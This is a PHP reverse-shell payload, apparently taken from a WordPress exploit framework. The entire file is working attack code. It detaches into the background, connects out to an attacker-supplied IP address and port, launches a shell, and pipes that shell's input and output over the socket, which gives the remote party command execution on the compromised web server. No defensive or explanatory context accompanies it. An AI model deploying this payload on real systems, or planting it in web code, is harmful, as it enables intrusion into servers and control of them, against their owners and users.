rastating/wordpress-exploit-framework

<?php
  $write_a = null;
  $error_a = null;

  if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();

    if ($pid == -1) {
      exit(1);
    }

    if ($pid) {
      exit(0);
    }

    if (posix_setsid() == -1) {
      exit(1);
    }
  }

  umask(0);
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    exit(1);
  }

  $descriptor_spec = array(
    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
    2 => array("pipe", "w")
  );

  $process = proc_open($shell, $descriptor_spec, $pipes);
  if (!is_resource($process)) {
    exit(1);
  }

  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);

  while (1) {
    if (feof($sock)) {
      break;
    }

    if (feof($pipes[1])) {
      break;
    }

    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    if (in_array($sock, $read_a)) {
      $input = fread($sock, $chunk_size);
      fwrite($pipes[0], $input);
    }

    if (in_array($pipes[1], $read_a)) {
      $input = fread($pipes[1], $chunk_size);
      fwrite($sock, $input);
    }

    if (in_array($pipes[2], $read_a)) {
      $input = fread($pipes[2], $chunk_size);
      fwrite($sock, $input);
    }
  }

  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);
?>